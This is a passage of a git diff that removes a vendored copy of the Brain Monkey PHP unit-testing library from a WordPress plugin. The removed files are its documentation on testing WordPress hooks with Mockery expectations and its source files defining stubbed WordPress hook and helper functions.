-} -``` - -are serialized into : - -```php -'function ( array $foo, $bar )'; -``` - -## Testing with expectations - -Even if the doing tests using WordPress native functions is pretty easy, there are cases in which is not enough powerful, or the expectation methods are just more convenient. - -Moreover, Brain Monkey functions always try to mimic WordPress real functions behavior and so a call to `remove_action` or `remove_filter` can make impossible to test some code using `has_action` and `has_filter`, because hooks are actually removed. - -The solution is to use expectations, provided in Brain Monkey by Mockery. - -Assuming the class to test is: - -```php -namespace Some\Name\Space; - -class MyClass { - - public function addHooks() { - - add_action('init', [$this, 'init']); - - add_filter('the_title', function($title) { - return $title; - }, 99); - } -} -``` - -it can be tested like so: - -```php -use Brain\Monkey\Actions; -use Brain\Monkey\Filters; - -class MyClassTest extends MyTestCase -{ - function testAddHooksActuallyAddsHooks() - { - Actions\expectAdded('init'); - - Filters\expectAdded('the_title')->with(\Mockery::type('Closure')); - - // let's use the code that have to satisfy our expectations - ( new \Some\Name\Space\MyClass() )->addHooks(); - } -} -``` - -This is just an example, but Mockery expectations are a very powerful testing mechanism. - -To know more, read [Mockery documentation](http://docs.mockery.io/en/latest/), and have a look to _PHP Functions_ doc section to see how it is used seamlessly in Brain Monkey. - -## Just a couple of things... - -* expectations must be set _before_ the code to be tested runs: they are called "expectations" for a reason; -* argument validation done using `with()`, validates hook arguments, not function arguments, it means what is passed to `add_action()` or `add_filter()` **excluding** hook name itself. -* If you are errors related to `Call to undefined function add_action()` it could have to do with how you are loading your plugin file in the bootstrap.php file. See [some tips for procedural/OOP setup](https://github.com/Brain-WP/BrainMonkey/issues/90#issuecomment-745148097). - -## Don't set expectations on return values for added hooks - -Maybe you already know that `add_action()` and `add_filter()` always return `true`. - -As already said, Brain Monkey always tries to make WordPress functions behave how they do in real WordPress code, for this reason Brain Monkey version of those functions returns `true` as well. - -But if you read _PHP Functions_ doc section or Mockery documentation you probably noticed a `andReturn` method that allows to force an expectation to return a given value. - -Once `expectAdded()` method works with Mockery expectations, you may be tempted to use it... if you do that **an exception will be thrown**. - -```php -// this expectation will thrown an error! -Filters\expectAdded('the_title')->once()->andReturn(false); -``` - -Reason is that if Brain Monkey had allowed a _mocked_ returning value for `add_action` and `add_filter` that had been in contrast with real WordPress code, with disastrous effects on tests. - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/docs/wordpress-specific-tools/wordpress-hooks-done.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/docs/wordpress-specific-tools/wordpress-hooks-done.md deleted file mode 100644 index 468f5dd8..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/docs/wordpress-specific-tools/wordpress-hooks-done.md +++ /dev/null @@ -1,305 +0,0 @@ -# Test done hooks - -## Testing framework agnostic - -Brain Monkey can be used with any testing framework. Examples in this page will use PHPUnit, but the concepts are applicable to any testing framework. - -Also note that test classes in this page extends the class `MyTestCase` that is assumed very similar to the one coded in the _WordPress / Setup_ docs section. - -## Simple tests with `did_action()` and `Filters\applied()` - -To check hooks have been fired, the only available WordPress function is `did_action()`, it doesn't exist any `did_filter()` or `applied_filter()`. - -To overcome the missing counter part of `did_action()` for filters, Brain Monkey has a method accessible via `Brain\Monkey\Filters\applied()` that does what you might expect. - -Assuming a class like the following: - -```php -class MyClass { - - function fireHooks() { - - do_action('my_action', $this); - - return apply_filters('my_filter', 'Filter applied', $this); - } -} -``` - -It can be tested using: - -```php -use Brain\Monkey\Filters; - -class MyClassTest extends MyTestCase -{ - function testFireHooksActuallyFiresHooks() - { - ( new MyClass() )->fireHooks(); - - $this->assertSame( 1, did_action('my_action') ); - $this->assertTrue( Filters\applied('my_filter') > 0 ); - } -} -``` - -As you can guess from test code above, `did_action()` and `Filters\applied()` return the number of times an action or a filter has been triggered, just like `did_action()` does in WordPress, but there's no way to use them to check which arguments were passed to the fired hook. - -So, `did_action()` and `Filters\applied()` are fine for simple tests, mostly because using them you don't need to recall Brain Monkey methods, but they are not very powerful: arguments checking and, above all, the ability to respond to fired hooks are pivotal tasks to proper test WordPress code. - -In Brain Monkey those tasks can be done testing fired hooks with expectations. - -## Test fired hooks with expectations - -A powerful testing mechanism for fired hooks is provided by Brain Monkey thanks to Mockery expectations. - -The entry points to use it are the `Actions\expectDone()` and `Filters\expectApplied()` functions. - -As usual, below there a just a couple of examples, for the full story see [Mockery docs](http://docs.mockery.io/en/latest/reference/expectations.html). - -Assuming the `MyClass` above in this page, it can be tested with: - -```php -use Brain\Monkey\Actions; -use Brain\Monkey\Filters; - -class MyClassTest extends MyTestCase -{ - function testFireHooksActuallyFiresHooks() - { - Actions\expectDone('my_action') - ->once() - ->with(Mockery::type(MyClass::class)); - - Filters\expectApplied('my_filter') - ->once() - ->with('Filter applied', Mockery::type(MyClass::class)); - - ( new MyClass() )->fireHooks(); - } -} -``` - -## Just a couple of things... - -* expectations must be set _before_ the code to be tested runs: they are called "expectations" for a reason -* argument validation done using `with()`, validates hook arguments, not function arguments, it means what is passed to `do_action` or `apply_filters` **excluding** hook name itself - -## Respond to filters - -Yet again, Brain Monkey, when possible, tries to make WordPress functions it redefines behave in the same way of _real_ WordPress functions. - -Brain Monkey `apply_filters` by default returns the first argument passed to it, just like WordPress function does when no callback is added to the filter. - -However, sometimes in tests is required that a filter returns something different. - -Luckily, Mockery provides `andReturn()` and `andReturnUsing()` expectation methods that can be used to make a filter return anything. - -```php -use Brain\Monkey\Filters; - -class MyClassTest extends MyTestCase { - - function testFireHooksReturnValue() { - - Filters\expectApplied('my_filter') - ->once() - ->with('Filter applied', Mockery::type(MyClass::class)) - ->andReturn('Brain Monkey rocks!'); - - $class = new MyClass(); - - $this->assertSame('Brain Monkey rocks!', $class->fireHooks()); - } -} -``` - -See [Mockery docs](http://docs.mockery.io/en/latest/reference/expectations.html) for more information. - -Brain Monkey also provides the helper `andReturnFirstArg()` that can be used to make a filter expectation behave like WordPress does: return first argument received: - -```php -Filters\expectApplied('my_filter')->once()->andReturnFirstArg(); - -self::assertSame( 'foo', apply_filters( 'my_filter', 'foo', 'bar' ) ); -``` - -Note that in the example right above, the expectation would not be necessary; in fact, the assertion verify either way because it is the default behavior of WordPress and Brain Monkey. - -But this is very helpful what we want to set expectations and returned values for filters based on some received arguments, for example: - -```php -Filters\expectApplied('my_filter')->once()->with('foo')->andReturnFirstArg(); -Filters\expectApplied('my_filter')->once()->with('bar')->andReturn('This time bar!'); - -self::assertSame( 'Foo', apply_filters( 'my_filter', 'Foo' ) ); -self::assertSame( 'This time bar!', apply_filters( 'my_filter', 'Bar' ) ); -``` - -Finally note that when setting different expectations for same filter, but for different received arguments, an expectation is required to be set for **all** the arguments that the filter is going to receive. For example this will fail: - -```php -Filters\expectApplied('my_filter')->once()->with('foo')->andReturnFirstArg(); -Filters\expectApplied('my_filter')->once()->with('bar')->andReturn('This time bar!'); - -self::assertSame( 'Foo', apply_filters( 'my_filter', 'Foo' ) ); -self::assertSame( 'This time bar!', apply_filters( 'my_filter', 'Bar' ) ); -self::assertSame( 'Meh!', apply_filters( 'my_filter', 'Meh!' ) ); -``` - -The reason for failing is that there's no expectation set when the filter receives `"Meh!"`. - -In such case, `andReturnFirstArg()` comes useful again, to set a "catch all" expectation: - -```php -Filters\expectApplied('my_filter')->once()->with('bar')->andReturn('This time bar!'); -// Catch all the other cases with the default: -Filters\expectApplied('my_filter')->once()->withAnyargs()->andReturnFirstArg(); - -// All the following passes! -self::assertSame( 'Foo', apply_filters( 'my_filter', 'Foo' ) ); -self::assertSame( 'This time bar!', apply_filters( 'my_filter', 'Bar' ) ); -self::assertSame( 'Meh!', apply_filters( 'my_filter', 'Meh!' ) ); -``` - -## Respond to actions - -To return a value from a filter is routine, not so for actions. - -In fact, `do_action()` always returns `null` so, if Brain Monkey would allow a _mocked_ returning value for `do_action()` expectations, it would be in contrast with real WordPress code, with disastrous effects on tests. - -So, don't try to use neither `andReturn()` or `andReturnUsing()` with `Actions\expectDone()` because it will throw an exception. - -However, sometimes one may be in the need do _something_ when code calls `do_action()`, like WordPress actually does. - -This is the reason Brain Monkey introduces `whenHappen()` method for action expectations. The method takes a callback to be ran when an action is fired. - -Let's assume a class like the following: - -```php -class MyClass { - - public $post; - - function setPost() { - - global $post; - $this->post = $post; - - do_action('my_class_set_post', $this); - - return $post; - } -} -``` - -It is possible write a test like this: - -```php -use Brain\Monkey\Actions; - -class MyClassTest extends MyTestCase { - - function testFireHooksReturnValue() { - - Action\expectDone('my_class_set_post') - ->with(Mockery::type(MyClass::class)) - ->whenHappen(function($my_class) { - $my_class->post = (object) ['post_title' => 'Mocked!']; - }); - - ( new MyClass() )->setPost(); - - $this->assertSame( 'Mocked!', $class->post->post_title ); - } -} -``` - -## Resolving `current_filter()`, `doing_action` and `doing_filter()` - -When WordPress is not performing an hook, `current_filter()` returns `false`. - -And so does the Brain Monkey version of that function. - -Now I want to surprise you: `current_filter()` correctly resolves to the correct hook during the execution of any callback added to respond to hooks. - -Let's assume a class like the following: - -```php -class MyClass { - - function getValues() { - - $title = apply_filters('my_class_title', ''); - $content = apply_filters('my_class_content', ''); - - return [$title, $content]; - } -} -``` - -It is possible write a test like this: - -```php -use Brain\Monkey\Filters; - -class MyClassTest extends MyTestCase -{ - function testGetValues() - { - $callback = function() { - return current_filter() === 'my_class_title' ? 'Title' : 'Content'; - }; - - Filters\expectApplied('my_class_title')->once()->andReturnUsing($callback); - Filters\expectApplied('my_class_content')->once()->andReturnUsing($callback); - - $class = new MyClass(); - - $this->assertSame(['Title', 'Content'], $class->getValues()); - } -} -``` - -Like magic, inside our callback, `current_filter()` returns the right hook just like it does in WordPress. Note this will also work with any callback passed to `whenHappen()`. - -Surprised? There's more: inside callbacks used to respond to actions and filters, `doing_action()` and `doing_filter()` works as well! - -Assuming a class like the following: - -```php -class MyClass { - - function doStuff() { - do_action( 'trigger_an_hook' ); - } -} -``` - -It is possible to write a test like this: - -```php -use Brain\Monkey\Actions; - -class MyClassTest extends MyTestCase { - - function testDoStuff() { - - // 'an_hook' action is done below in the "whenHappen" callback - Actions\expectDone( 'an_hook' )->once()->whenHappen(function() { - - self::assertTrue( doing_action('an_hook') ); - - // doing_action() also resolves the "parent" hook like it was WordPress! - self::assertTrue( doing_action('trigger_an_hook') ); - }); - - Actions\expectDone('trigger_an_hook')->once()->whenHappen(function() { - if( current_filter() === 'trigger_an_hook' ) { - do_action('an_hook'); - } - }); - } -} -``` - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/docs/wordpress-specific-tools/wordpress-setup.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/docs/wordpress-specific-tools/wordpress-setup.md deleted file mode 100644 index ef8b644a..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/docs/wordpress-specific-tools/wordpress-setup.md +++ /dev/null @@ -1,49 +0,0 @@ -# Setup for WordPress testing - -## Testing framework agnostic - -Brain Monkey can be used with any testing framework. Examples in this page will use PHPUnit, but the concepts are applicable to any testing framework. - -## Warning - -The procedure below **includes** the setup needed for testing PHP functions, so there is **no** need to apply what said here and _additionally_ what said in the section _PHP Functions / Setup_: steps below are enough to use all Brain Monkey features, including functions utilities. - -## Setup tests - -After Brain Monkey is part of the project \(see _Getting Started / Installation_\), to be able to use its features you need to **require vendor autoload file** before running tests \(e.g. PHPUnit users will probably require it in their bootstrap file\). - -After that, you need to call a function _before_ any test, and another _after_ any test. - -These two functions are: - -* `Brain\Monkey\setUp()` has to be run before any test -* `Brain\Monkey\tearDown()` has to be run after any test - -PHPUnit users will probably want to add these methods to a custom test case class: - -```php -use PHPUnit_Framework_TestCase; -use Mockery\Adapter\Phpunit\MockeryPHPUnitIntegration; -use Brain\Monkey; - -class MyTestCase extends PHPUnit_Framework_TestCase { - - // Adds Mockery expectations to the PHPUnit assertions count. - use MockeryPHPUnitIntegration; - - protected function setUp() { - parent::setUp(); - Monkey\setUp(); - } - - protected function tearDown() { - Monkey\tearDown(); - parent::tearDown(); - } -} -``` - -and then extend various test classes from it instead of directly extend `PHPUnit_Framework_TestCase`. - -That's all. You are ready to use all Brain Monkey features. - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/docs/wordpress-specific-tools/wordpress-tools.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/docs/wordpress-specific-tools/wordpress-tools.md deleted file mode 100644 index 8bc01b7e..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/docs/wordpress-specific-tools/wordpress-tools.md +++ /dev/null @@ -1,97 +0,0 @@ -# WordPress testing tools - -The sole ability to mocking functions is a great help on testing WordPress code. - -All WordPress functions can be mocked and tested using the techniques described in the _PHP Functions_ section, they are PHP functions, after all. - -However, to test WordPress code in isolation, without a bunch of bootstrap code for every test, a more fine grained control of plugin API functions is required. - -This is exactly what Brain Monkey offers. - -## Defined functions - -Following functions are defined by Brain Monkey when it is loaded for tests: - -**Hook-related functions:** - -* `add_action()` -* `remove_action()` -* `do_action()` -* `do_action_ref_array()` -* `do_action_deprecated()` (since 2.4) -* `did_action()` -* `doing_action()` -* `has_action()` -* `add_filter()` -* `remove_filter()` -* `apply_filters()` -* `apply_filters_ref_array()` -* `apply_filters_deprecated()` \(since 2.4\) -* `doing_filter()` -* `has_filter()` -* `current_filter()` - -**Generic functions:** - -* `__return_true()` -* `__return_false()` -* `__return_null()` -* `__return_zero()` -* `__return_empty_array()` -* `__return_empty_string()` -* `trailingslashit()` -* `untrailingslashit()` -* `user_trailingslashit()` \(since 2.6\) -* `absint()` \(since 2.3\) -* `wp_json_encode()` \(since 2.6\) -* `is_wp_error()` \(since 2.3\) -* `wp_validate_boolean()` \(since 2.7\) -* `wp_slash()` \(since 2.7\) - -**Translation function:** - -Since Brain Monkey 2.3, stubs for the standard WordPress translations functions are available via `Functions\stubEscapeFunctions()`. -See: [Pre-defined stubs for translation functions](https://giuseppe-mazzapica.gitbook.io/brain-monkey/functions-testing-tools/function-stubs#pre-defined-stubs-for-translation-functions) - -**Escaping functions:** -Since Brain Monkey 2.3, stubs for the standard WordPress escaping functions are available via `Functions\stubTranslationFunctions()`. -See: [Pre-defined stubs for escaping functions](https://giuseppe-mazzapica.gitbook.io/brain-monkey/functions-testing-tools/function-stubs#pre-defined-stubs-for-escaping-functions) - -If your code uses any of these functions, and very likely it does, you don't need to define \(or mock\) them to avoid fatal errors during tests. - -Note that the returning value of those functions \(_most of the times_\) will work out of the box as you might expect. - -For example, if your code contains: - -```php -do_action('my_custom_action'); - -// something in the middle -$did = did_action('my_custom_action'); -``` - -the value of `$did` will be correctly `1` \(`did_action()` in WordPress returns the number an action was _done_\). - -Or if your code contains: - -```php -$post = [ 'post_title' => 'My Title' ]; - -$title = apply_filters('the_title', $post['post_title']); -``` - -the value of `$title` will be `'My Title'`, without the need of any intervention. - -This works as long as there's no code that actually adds filters to `"the_title"` hook, so we expect that the title stay unchanged. And that's what happen. - -If in the code under test there's something that adds filters \(i.e. calls `add_filter`\), the _Brain Monkey version_ of `apply_filters` will still return the value unchanged, but will allow to test that `apply_filters` has been called, how many times, with which callbacks and arguments are used. - -More generally, with regards to the WP hook API, Brain Monkey allows to: - -* test if an action or a filter has been added, how many times that happen and with which arguments -* test if an action or a filter has been fired, how many times that happen and with which arguments -* perform some callback when an action is fired, being able to access passed arguments -* perform some callback when an filter is applied, being able to access passed arguments and to return specific values - -And it does that using its straightforward and human-readable syntax. - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/docs/wordpress-specific-tools/wordpress-why-bother.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/docs/wordpress-specific-tools/wordpress-why-bother.md deleted file mode 100644 index bf079863..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/docs/wordpress-specific-tools/wordpress-why-bother.md +++ /dev/null @@ -1,32 +0,0 @@ -# Why bother - -Just to be clear, Brain Monkey is useful for testing code wrote _for_ WordPress \(plugin, themes\) not WordPress core. - -More specifically, it is useful to run **unit tests**. - -Integration tests or end-to-end tests are a thing: you need to be sure that your code works good _with_ WordPress. - -But **unit** tests are meant to be run **without loading WordPress environment**. - -Every component that is unit tested, should be tested in isolation: when you test a class, you only have to test that specific class, assuming all other code \(e.g. WordPress code\) is working perfectly. - -This is not only because doing that tests will run much faster, but also because the key concept in unit testing is that every piece of code should work _per se_, in this way if a test fails there is only one possible culprit. - -By assuming all the external code is working perfectly, it is possible to test the behavior of the SUT \(System Under Test\), without any _interference_. - -To deepen these concepts, read [this answer](https://wordpress.stackexchange.com/a/164138/35541) I wrote for WordPress Development \(StackExchange\) site, that also contains some tips to write better _testable_ WordPress code. - -## If WordPress is not loaded... - -WordPress functions are not available, and trying to run tests in that situation, tests fail with fatal errors. - -Unless you use Brain Monkey. - -It allows to mock WordPress function \(just like any PHP function\), and to check how they are called inside your code. - -See the _PHP Function_ documentation section for a deep explanation on how it works. - -Moreover, among others, WordPress [Plugin API functions](https://codex.wordpress.org/Plugin_API) are particularly important and a very fine grained control on how they are used in code is pivotal to proper test WordPress extensions. - -This is why Brain Monkey comes with a set of features specifically designed for that. - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/inc/api.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/inc/api.php deleted file mode 100644 index 8d5d8dd2..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/inc/api.php +++ /dev/null @@ -1,407 +0,0 @@ -reset(); - \Mockery::close(); - \Patchwork\restoreAll(); - } -} - -namespace Brain\Monkey\Functions { - - use Brain\Monkey\Container; - use Brain\Monkey\Expectation\EscapeHelper; - use Brain\Monkey\Expectation\FunctionStubFactory; - use Brain\Monkey\Name\FunctionName; - - /** - * API entry-point for plain functions stub. - * - * Factory method: receives the name of the function to mock and returns an instance of - * FunctionStub. - * - * @param string $function_name the name of the function to mock - * @return \Brain\Monkey\Expectation\FunctionStub - */ - function when($function_name) - { - return Container::instance() - ->functionStubFactory() - ->create(new FunctionName($function_name), FunctionStubFactory::SCOPE_STUB); - } - - /** - * API method to fast & simple create multiple functions stubs. - * - * It does not allow to add expectations. - * - * The function name to create stub for can be passed as array key or as array value (with no - * key). - * - * When the function name is in the key, the value can be: - * - a callable, in which case the function will be aliased to it - * - anything else, in which case a stub returning given value will be created for the - * function - * - * When the function name is in the value, and no key is set, the behavior will change based on - * the second param: - * - when 2nd param is `null` (default) the created stub will return the 1st param it will - * receive - * - when 2nd param is anything else the created stub will return it - * - * - * @param array $functions - * @param mixed|null $default_return - */ - function stubs(array $functions, $default_return = null) - { - foreach ($functions as $key => $value) { - - list($function_name, $return_value) = is_numeric($key) - ? [$value, $default_return] - : [$key, $value]; - - if (is_callable($return_value)) { - when($function_name)->alias($return_value); - continue; - } - - $return_value === null - ? when($function_name)->returnArg() - : when($function_name)->justReturn($return_value); - } - } - - /** - * API entry-point for plain functions expectations. - * - * Returns a Mockery Expectation object, where is possible to set all the expectations, using - * Mockery methods. - * - * @param string $function_name - * @return \Brain\Monkey\Expectation\Expectation - */ - function expect($function_name) - { - $name = new FunctionName($function_name); - $expectation = Container::instance() - ->expectationFactory() - ->forFunctionExecuted($function_name); - - $factory = Container::instance()->functionStubFactory(); - if ( ! $factory->has($name)) { - $factory->create($name, FunctionStubFactory::SCOPE_EXPECTATION) - ->redefineUsingExpectation($expectation); - - } - - return $expectation; - } - - /** - * Stub translation functions. - * - * @see EscapeHelper - */ - function stubTranslationFunctions() - { - stubs( - [ - '__', - '_x', - 'translate', - '_n' => static function($single, $plural, $number) { - return ($number === 1) ? $single : $plural; - }, - '_nx' => static function($single, $plural, $number) { - return ($number === 1) ? $single : $plural; - }, - 'esc_html__' => [EscapeHelper::class, 'esc'], - 'esc_html_x' => [EscapeHelper::class, 'esc'], - 'esc_attr__' => [EscapeHelper::class, 'esc'], - 'esc_attr_x' => [EscapeHelper::class, 'esc'], - 'esc_html_e' => [EscapeHelper::class, 'escAndEcho'], - 'esc_attr_e' => [EscapeHelper::class, 'escAndEcho'], - '_n_noop' => static function ($singular, $plural) { - return compact('singular', 'plural'); - }, - '_nx_noop' => static function ($singular, $plural) { - return compact('singular', 'plural'); - }, - 'translate_nooped_plural' => static function($nooped_plural, $count) { - return ($count === 1) ? $nooped_plural['singular'] : $nooped_plural['plural']; - }, - ] - ); - - when('_e')->echoArg(); - when('_ex')->echoArg(); - } - - /** - * Stub escape functions with default behavior. - * - * @see EscapeHelper - */ - function stubEscapeFunctions() - { - stubs( - [ - 'esc_js' => [EscapeHelper::class, 'esc'], - 'esc_sql' => 'addslashes', - 'esc_attr' => [EscapeHelper::class, 'esc'], - 'esc_html' => [EscapeHelper::class, 'esc'], - 'esc_textarea' => [EscapeHelper::class, 'esc'], - 'esc_url' => [EscapeHelper::class, 'escUrl'], - 'esc_url_raw' => [EscapeHelper::class, 'escUrlRaw'], - 'esc_xml' => [EscapeHelper::class, 'escXml'], - ] - ); - } -} - -namespace Brain\Monkey\Actions { - - use Brain\Monkey\Container; - use Brain\Monkey\Hook; - - /** - * API entry-point for added action expectations. - * - * Takes the action name and returns a Mockery Expectation object, where is possible to set all - * the expectations, using Mockery methods. - * - * @param string $action - * @return \Brain\Monkey\Expectation\Expectation - */ - function expectAdded($action) - { - return Container::instance() - ->expectationFactory() - ->forActionAdded($action); - } - - /** - * API entry-point for fired action expectations. - * - * Takes the action name and returns a Mockery Expectation object, where is possible to set all - * the expectations, using Mockery methods. - * - * @param string $action - * @return \Brain\Monkey\Expectation\Expectation - */ - function expectDone($action) - { - return Container::instance() - ->expectationFactory() - ->forActionDone($action); - } - - /** - * Utility method to check if any or specific callback has been added to given action. - * - * Brain Monkey version of `has_action` will alias here. - * - * @param string $action - * @param null $callback - * @return bool - */ - function has($action, $callback = null) - { - $type = Hook\HookStorage::ACTIONS; - $hookStorage = Container::instance()->hookStorage(); - - if ($callback === null) { - return $hookStorage->isHookAdded($type, $action); - } - - return $hookStorage->hookPriority($type, $action, $callback); - } - - /** - * Utility method to check if given action has been done. - * - * Brain Monkey version of `did_action` will alias here. - * - * @param string $action - * @return int - */ - function did($action) - { - return Container::instance() - ->hookStorage() - ->isHookDone(Hook\HookStorage::ACTIONS, $action); - } - - /** - * Utility method to check if given action is currently being done. - * - * Brain Monkey version of `doing_action` will alias here. - * - * @param string $action - * @return bool - */ - function doing($action) - { - return Container::instance() - ->hookRunningStack() - ->has($action); - } - - /** - * API entry-point for removed action expectations. - * - * Takes the action name and returns a Mockery Expectation object, where is possible to set all - * the expectations, using Mockery methods. - * - * @param string $action - * @return \Brain\Monkey\Expectation\Expectation - */ - function expectRemoved($action) - { - return Container::instance() - ->expectationFactory() - ->forActionRemoved($action); - } -} - -namespace Brain\Monkey\Filters { - - use Brain\Monkey\Container; - use Brain\Monkey\Hook; - - /** - * API entry-point for added filter expectations. - * - * Takes the filter name and returns a Mockery Expectation object, where is possible to set all - * the expectations, using Mockery methods. - * - * @param string $filter - * @return \Brain\Monkey\Expectation\Expectation - */ - function expectAdded($filter) - { - return Container::instance() - ->expectationFactory() - ->forFilterAdded($filter); - } - - /** - * API entry-point for applied filter expectations. - * - * Takes the filter name and returns a Mockery Expectation object, where is possible to set all - * the expectations, using Mockery methods. - * - * @param string $filter - * @return \Brain\Monkey\Expectation\Expectation - */ - function expectApplied($filter) - { - return Container::instance() - ->expectationFactory() - ->forFilterApplied($filter); - } - - /** - * Utility method to check if any or specific callback has been added to given filter. - * - * Brain Monkey version of `has_filter` will alias here. - * - * @param string $filter - * @param null $callback - * @return bool|int If callback is omitted, returns boolean for whether the hook has anything registered. - * When checking a specific callback, the priority of that hook is returned, - * or false if the callback is not attached. - */ - function has($filter, $callback = null) - { - $type = Hook\HookStorage::FILTERS; - $hookStorage = Container::instance()->hookStorage(); - - if ($callback === null) { - return $hookStorage->isHookAdded($type, $filter); - } - - return $hookStorage->hookPriority($type, $filter, $callback); - } - - /** - * Utility method to check if given filter as been applied. - * - * There's no WordPress function counter part for it. - * - * @param string $filter - * @return int - */ - function applied($filter) - { - return Container::instance() - ->hookStorage() - ->isHookDone(Hook\HookStorage::FILTERS, $filter); - } - - /** - * Utility method to check if given filter is currently being done. - * - * Brain Monkey version of `doing_filter` will alias here. - * - * @param string $filter - * @return bool - */ - function doing($filter) - { - return Container::instance() - ->hookRunningStack() - ->has($filter); - } - - /** - * API entry-point for removed action expectations. - * - * Takes the action name and returns a Mockery Expectation object, where is possible to set all - * the expectations, using Mockery methods. - * - * @param string $filter - * @return \Brain\Monkey\Expectation\Expectation - */ - function expectRemoved($filter) - { - return Container::instance() - ->expectationFactory() - ->forFilterRemoved($filter); - } -} - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/inc/patchwork-loader.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/inc/patchwork-loader.php deleted file mode 100644 index adb3f171..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/inc/patchwork-loader.php +++ /dev/null @@ -1,29 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - * - * @author Giuseppe Mazzapica - * @license http://opensource.org/licenses/MIT MIT - * @package BrainMonkey - */ - -if (function_exists('Patchwork\redefine')) { - return; -} - -if (file_exists(dirname(dirname(dirname(__DIR__)))."/antecedent/patchwork/Patchwork.php")) { - @require_once dirname(dirname(dirname(__DIR__)))."/antecedent/patchwork/Patchwork.php"; -} elseif (file_exists(dirname(__DIR__)."/vendor/antecedent/patchwork/Patchwork.php")) { - @require_once dirname(__DIR__)."/vendor/antecedent/patchwork/Patchwork.php"; -} - -if ( ! function_exists('Patchwork\redefine')) { - throw new \Brain\Monkey\Exception( - 'Brain Monkey was unable to load Patchwork. Please require Patchwork.php by yourself before running tests.' - ); -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/inc/wp-helper-functions.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/inc/wp-helper-functions.php deleted file mode 100644 index 2ac92691..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/inc/wp-helper-functions.php +++ /dev/null @@ -1,119 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - * - * @author Giuseppe Mazzapica - * @license http://opensource.org/licenses/MIT MIT - * @package BrainMonkey - * - * As the functions in this file are a compatibility layer for WordPress, the same - * function names should be used as are currently used by WordPress. - * This cannot be changed at this time. - * @phpcs:disable PHPCompatibility.FunctionNameRestrictions.ReservedFunctionNames.FunctionDoubleUnderscore - */ - -if ( ! function_exists('__return_true')) { - function __return_true() - { - return true; - } -} - -if ( ! function_exists('__return_false')) { - function __return_false() - { - return false; - } -} - -if ( ! function_exists('__return_null')) { - function __return_null() - { - return null; - } -} - -if ( ! function_exists('__return_zero')) { - function __return_zero() - { - return 0; - } -} - -if ( ! function_exists('__return_empty_array')) { - function __return_empty_array() - { - return []; - } -} - -if ( ! function_exists('__return_empty_string')) { - function __return_empty_string() - { - return ''; - } -} - -if ( ! function_exists('untrailingslashit')) { - function untrailingslashit($value) - { - return rtrim($value, '/\\'); - } -} - -if ( ! function_exists('trailingslashit')) { - function trailingslashit($value) - { - return rtrim($value, '/\\').'/'; - } -} - -if ( ! function_exists('user_trailingslashit')) { - function user_trailingslashit($url) - { - return trailingslashit($url); - } -} - -if ( ! function_exists('absint')) { - function absint($maybeint) - { - return abs((int)$maybeint); - } -} - -if ( ! function_exists('wp_json_encode')) { - function wp_json_encode($data, $options = 0, $depth = 512) - { - return json_encode($data, $options, $depth); - } -} - -if ( ! function_exists('is_wp_error')) { - function is_wp_error($thing) - { - return $thing instanceof \WP_Error; - } -} - -if ( ! function_exists('wp_validate_boolean')) { - function wp_validate_boolean($value) - { - return (is_string($value) && (strtolower($value) === 'false')) ? false : (bool)$value; - } -} - -if ( ! function_exists('wp_slash')) { - function wp_slash($value) - { - if (is_array($value)) { - return array_map('wp_slash', $value); - } - return is_string($value) ? addslashes($value) : $value; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/inc/wp-hook-functions.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/inc/wp-hook-functions.php deleted file mode 100644 index 64c4b783..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/inc/wp-hook-functions.php +++ /dev/null @@ -1,164 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - * - * @author Giuseppe Mazzapica - * @license http://opensource.org/licenses/MIT MIT - * @package BrainMonkey - */ - -use Brain\Monkey; - -if ( ! function_exists('add_action')) { - function add_action($hook_name, $callback, $priority = 10, $accepted_args = 1) - { - $args = [$callback, $priority, $accepted_args]; - $container = Monkey\Container::instance(); - $container->hookStorage()->pushToAdded(Monkey\Hook\HookStorage::ACTIONS, $hook_name, $args); - $container->hookExpectationExecutor()->executeAddAction($hook_name, $args); - - return true; - } -} - -if ( ! function_exists('add_filter')) { - function add_filter($hook_name, $callback, $priority = 10, $accepted_args = 1) - { - $args = [$callback, $priority, $accepted_args]; - $container = Monkey\Container::instance(); - $container->hookStorage()->pushToAdded(Monkey\Hook\HookStorage::FILTERS, $hook_name, $args); - 